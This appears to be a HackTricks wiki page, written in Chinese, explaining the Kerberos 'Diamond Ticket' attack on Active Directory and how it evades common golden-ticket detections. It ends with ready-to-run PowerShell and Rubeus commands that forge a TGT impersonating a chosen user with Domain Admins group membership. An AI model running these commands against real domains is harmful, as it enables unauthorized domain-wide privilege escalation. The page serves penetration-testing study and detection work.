Diamond Ticket

支持 HackTricks

Diamond Ticket

像金票一样,钻石票是一个 TGT,可以用来以任何用户身份访问任何服务。金票是完全离线伪造的,使用该域的 krbtgt 哈希加密,然后传递到登录会话中使用。由于域控制器不跟踪它(或他们)合法发出的 TGT,因此它们会乐意接受使用其自身 krbtgt 哈希加密的 TGT。

检测金票使用的两种常见技术是:

  • 查找没有相应 AS-REQ 的 TGS-REQ。

  • 查找具有荒谬值的 TGT,例如 Mimikatz 的默认 10 年生命周期。

钻石票是通过修改由 DC 发出的合法 TGT 的字段来制作的。这是通过请求一个TGT使用域的 krbtgt 哈希解密它,修改所需的票据字段,然后重新加密它来实现的。这克服了金票的两个上述缺点,因为:

  • TGS-REQ 将有一个前置的 AS-REQ。

  • TGT 是由 DC 发出的,这意味着它将具有来自域 Kerberos 策略的所有正确细节。尽管这些可以在金票中准确伪造,但更复杂且容易出错。

# Get user RID
powershell Get-DomainUser -Identity <username> -Properties objectsid

.\Rubeus.exe diamond /tgtdeleg /ticketuser:<username> /ticketuserid:<RID of username> /groups:512

# /tgtdeleg uses the Kerberos GSS-API to obtain a useable TGT for the user without needing to know their password, NTLM/AES hash, or elevation on the host.
# /ticketuser is the username of the principal to impersonate.
# /ticketuserid is the domain RID of that principal.
# /groups are the desired group RIDs (512 being Domain Admins).
# /krbkey is the krbtgt AES256 hash.
支持 HackTricks

Last updated